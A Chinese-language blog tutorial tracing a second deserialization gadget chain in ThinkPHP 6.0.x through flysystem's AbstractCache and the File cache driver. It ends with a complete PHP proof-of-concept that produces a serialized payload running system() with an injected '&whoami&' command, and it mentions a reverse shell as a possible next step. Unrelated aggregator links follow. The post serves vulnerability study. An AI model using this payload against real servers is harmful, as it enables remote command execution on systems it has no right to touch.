前言

接上文找第二条POP链。

环境配置

同上文

POP链构造

寻找__destruct方法

仍然是寻找__destruct,这次关注AbstractCache.php(/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php):

在抽象类AbstractCache中:

    public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}

$this->autosave==false时将执行$this->save()

跟进save方法

由于AbstractCache本身是一个抽象类,而且其本身不存在save方法,因此使用find usages查看哪些类继承了AbstractCache的类,发现了一个名为CacheStore类:

查看该类的save方法:

    public function save()
{
$contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);
}

没有任何判断,先执行$this->getForStorage方法,本类没有存在该方法,又得回去父类。

跟进getForStorage方法

    public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);
}

先执行$this->cleanContents,参数是$this->cache

跟进cleanContents方法

    public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]); foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
} return $contents;
}

首先对指定数组进行array_flip处理(对数组键和值进行反转),赋值给$cachedProperties

然后判断外部传入的数组$contents(也即$this->cache)中的值是否还是一个数组,如果是则将该数组和$cachedProperties进行array_intersect_key处理。

array_intersect_key():返回一个数组,该数组包含了所有出现在第一个参数数组中并同时出现在所有其它参数数组中的键名的值。

处理完返回$contentscleanContents方法执行完毕。

回到上一个方法,赋值给$cleaned。然后再对数组[$cleaned, $this->complete]进行json_encode处理,

处理完将json数据赋值给$contents,回到save方法,再执行:$this->store->set($this->key, $contents, $this->expire)

寻找之后发现父类和子类都不存在set方法,而且也没有__call方法,那么只能寻找其他存在set方法或者__call的类,然后把$this->store实例化为该类的对象。

这里有个File(/vendor/topthink/framework/src/think/cache/driver/File.php)可以利用。

跟进set方法

这里只需关注前半部分,而且后半部分可以再利用形成另外一条链(2019EIS CTF官方做法利用的就是后半部分,后头再讲)。

    public function set($name, $value, $expire = null): bool
{
$this->writeTimes++; if (is_null($expire)) {
$expire = $this->options['expire'];
} $expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename); if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
} $data = $this->serialize($value);
.....
}

关注到$this->serialize($value)

file类找不到serialize该方法,去它的父类driver(/vendor/topthink/framework/src/think/cache/Driver.php)找到。

跟进serialize方法

    protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
} $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);
}

发现利用点$serialize($data),其中$this->options['serialize'][0]参数可控,可以执行任意函数,参数为$data

看看\(data的来源,回到set方法中,\)data来源于\(value,再回到CacheStore类,发现\)value来源于$contents,即前面通过json_encode处理后的json格式数据。

也就是说函数名可以控制,但是要执行的参数必须是json格式。

这里要利用到命令行的特殊符号:

在linux命令行中,会优先执行反引号中的内容,因此当函数名为system,即使参数为json形式不合法但只需其中存在反引号且反引号内的内容合法即可优先执行。

在windows命令行中,就不存在以上反引号的规则,但是可以利用&来执行多指令。

至此POP链寻找完毕,总结一下涉及的类:

  • 抽象类AbstractCache和继承它的子类CacheStore

  • file类和它的父类driver

另外通过反序列化来加入的外部变量有:

  • AbstractCache类中的$this->autosave=false

  • CacheStore类中的$this->cache(处理完将变成json数据),用于最终要执行函数的参数。

  • CacheStore类中的$this->store必须为一个file

  • driver类中的$this->options[‘serialize’][0],用于指定要执行的函数名,这里为system

POP预览流程

借用Somnus师傅的图:

POC代码

debug效率有所提高:

<?php

namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["\"&whoami&"];
}
} namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
protected $expire=1;
public function __construct($store="")
{
$this->store = $store;
}
}
} namespace think\cache{
abstract class Driver{}
} namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{
protected $options=[]; function __construct(){
$this->options = ["serialize"=>["system"],"data_compress"=>false,"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
} }
} namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
} ?>

结果:

在浏览器端无法显示出来,测试了一下,这是因为whoami指令前后报错的原因导致页面无法回显:

<?php
system('[["\"&whoami&"],[]]');

上面的结果只能在编译器中输出。

另外如果有继续研究的话,其实在set方法后面可以发现data是被写入到文件中的:

也可以证明system函数的确有执行。

另外,页面无法回显可以考虑用system函数执行反弹shell,由于我是装在windows下的,太菜了目前无法在windows下实现反弹shell。。。

参考文章

Somnus师傅的文章

thinkphp6.0.x 反序列化详记(二)的更多相关文章

  1. thinkphp6.0.x 反序列化详记(一)

    前言 这几天算是进阶到框架类漏洞的学习了,首当其冲想到是thinkphp,先拿thinkphp6.0.x来学习一下,体验一下寻找pop链的快乐. 在此感谢楷师傅的帮忙~ 环境配置 用composer指 ...

  2. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  3. IIS7.0 Appcmd 命令详解和定时重启应用池及站点的设置

    IIS7.0 Appcmd 命令详解 废话不说!虽然有配置界面管理器!但是做安装包的时候命令创建是必不可少的!最近使用NSIS制作安装包仔细研究了一下Appcmd的命令,可谓是功能齐全. 上网查了些资 ...

  4. IIS7.0 Appcmd 命令详解

    原文 IIS7.0 Appcmd 命令详解 一:准备工作 APPcmd.exe 位于 C:\Windows\System32\inetsrv 目录 使用 Cd c:\Windows\System32\ ...

  5. loadrunner11.0 安装破解详解使用教程

    loadrunner11.0 安装破解详解使用教程 来源:互联网 作者:佚名 时间:01-21 10:25:34 [大 中 小] 很多朋友下载了loadrunner11但不是很会使用,这里简单介绍下安 ...

  6. Apache2.2+Tomcat7.0整合配置详解

    一.简单介绍 Apache.Tomcat Apache HTTP Server(简称 Apache),是 Apache 软件基金协会的一个开放源码的网页服务器,可以在 Windows.Unix.Lin ...

  7. Android EventBus 3.0 实例使用详解

    EventBus的使用和原理在网上有很多的博客了,其中泓洋大哥和启舰写的非常非常棒,我也是跟着他们的博客学会的EventBus,因为是第一次接触并使用EventBus,所以我写的更多是如何使用,源码解 ...

  8. go语言之行--文件操作、命令行参数、序列化与反序列化详解

    一.简介 文件操作对于我们来说也是非常常用的,在python中使用open函数来对文件进行操作,而在go语言中我们使用os.File对文件进行操作. 二.终端读写 操作终端句柄常量 os.Stdin: ...

  9. PopUpWindow使用详解(二)——进阶及答疑

      相关文章:1.<PopUpWindow使用详解(一)——基本使用>2.<PopUpWindow使用详解(二)——进阶及答疑> 上篇为大家基本讲述了有关PopupWindow ...

随机推荐

  1. Java诞生及优势

    C语言 1972年诞生 贴近硬件,速度快 指针和内存管理重点 C++ 1982年诞生 面向对象 兼容C 图形领域.游戏等 Java 基于C 没有指针和内存管理 可移植,编写一次到处运行,JVM 面向对 ...

  2. i春秋公益赛之signin

    题目链接:https://buuoj.cn/challenges#gyctf_2020_signin 查看程序保护 只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门 ...

  3. 阿里云短信服务验证码封装类 - PHP

    本文记录在ThinkPHP6.0中使用阿里云短信验证码,该封装类不仅仅局限于TP,拿来即用 使用该类之前必须引入 flc/dysms 扩展,该封装类就是基于这个扩展写的 composer requir ...

  4. meta生成器 —— 表单元素组件

    手写代码? meta(json)需要手写吗?别闹,手写多麻烦呀,我这么懒怎么可能手写,这辈子都别想,所以要弄个工具出来,咱们说干就干. 这个工具,说白了本身就是一个表单,一个meta属性对应一个met ...

  5. nginx安装步骤和加固方案

    安装步骤参考https://blog.csdn.net/qq_37345604/article/details/90034424 出现以下页面就表示安装完成(默认是80端口,我修改成了8009端口,所 ...

  6. [程序员代码面试指南]递归和动态规划-最小编辑代价(DP)

    问题描述 输入 原字符串StrOrg,目标字符串StrTarget,插入.删除.替换的编辑代价ic,dc,rc.输出将原字符串编辑成目标字符串的最小代价. 解题思路 状态表示 dp[i][j]表示把s ...

  7. STL-Deque(双端队列)与单调队列的实现

    前言: STl是个好东西,虽然他在不开O2的条件下会跑的很慢,但他着实会让你的代码可读性大大提高,令你的代码看起来既简单又整洁. 双端队列: 顾名思义,双端队列是有两个头的,一个队首指针,一个队尾指针 ...

  8. 基于DDD+微服务的开发实战(1)

    1 DDD是什么? DDD是领域驱动设计,是Eric Evans于2003年提出的,离现在有17年. 2 为什么需要DDD 当软件越来越复杂,实际开发中,大量的业务逻辑堆积在一个巨型类中的例子屡见不鲜 ...

  9. java对象相等

    https://www.dutycode.com/post-140.html 简单来首,Object方法里的equals也是直接判断两个引用是否指向同一个地址,即引用同一个对象 public bool ...

  10. 2.Kafka-架构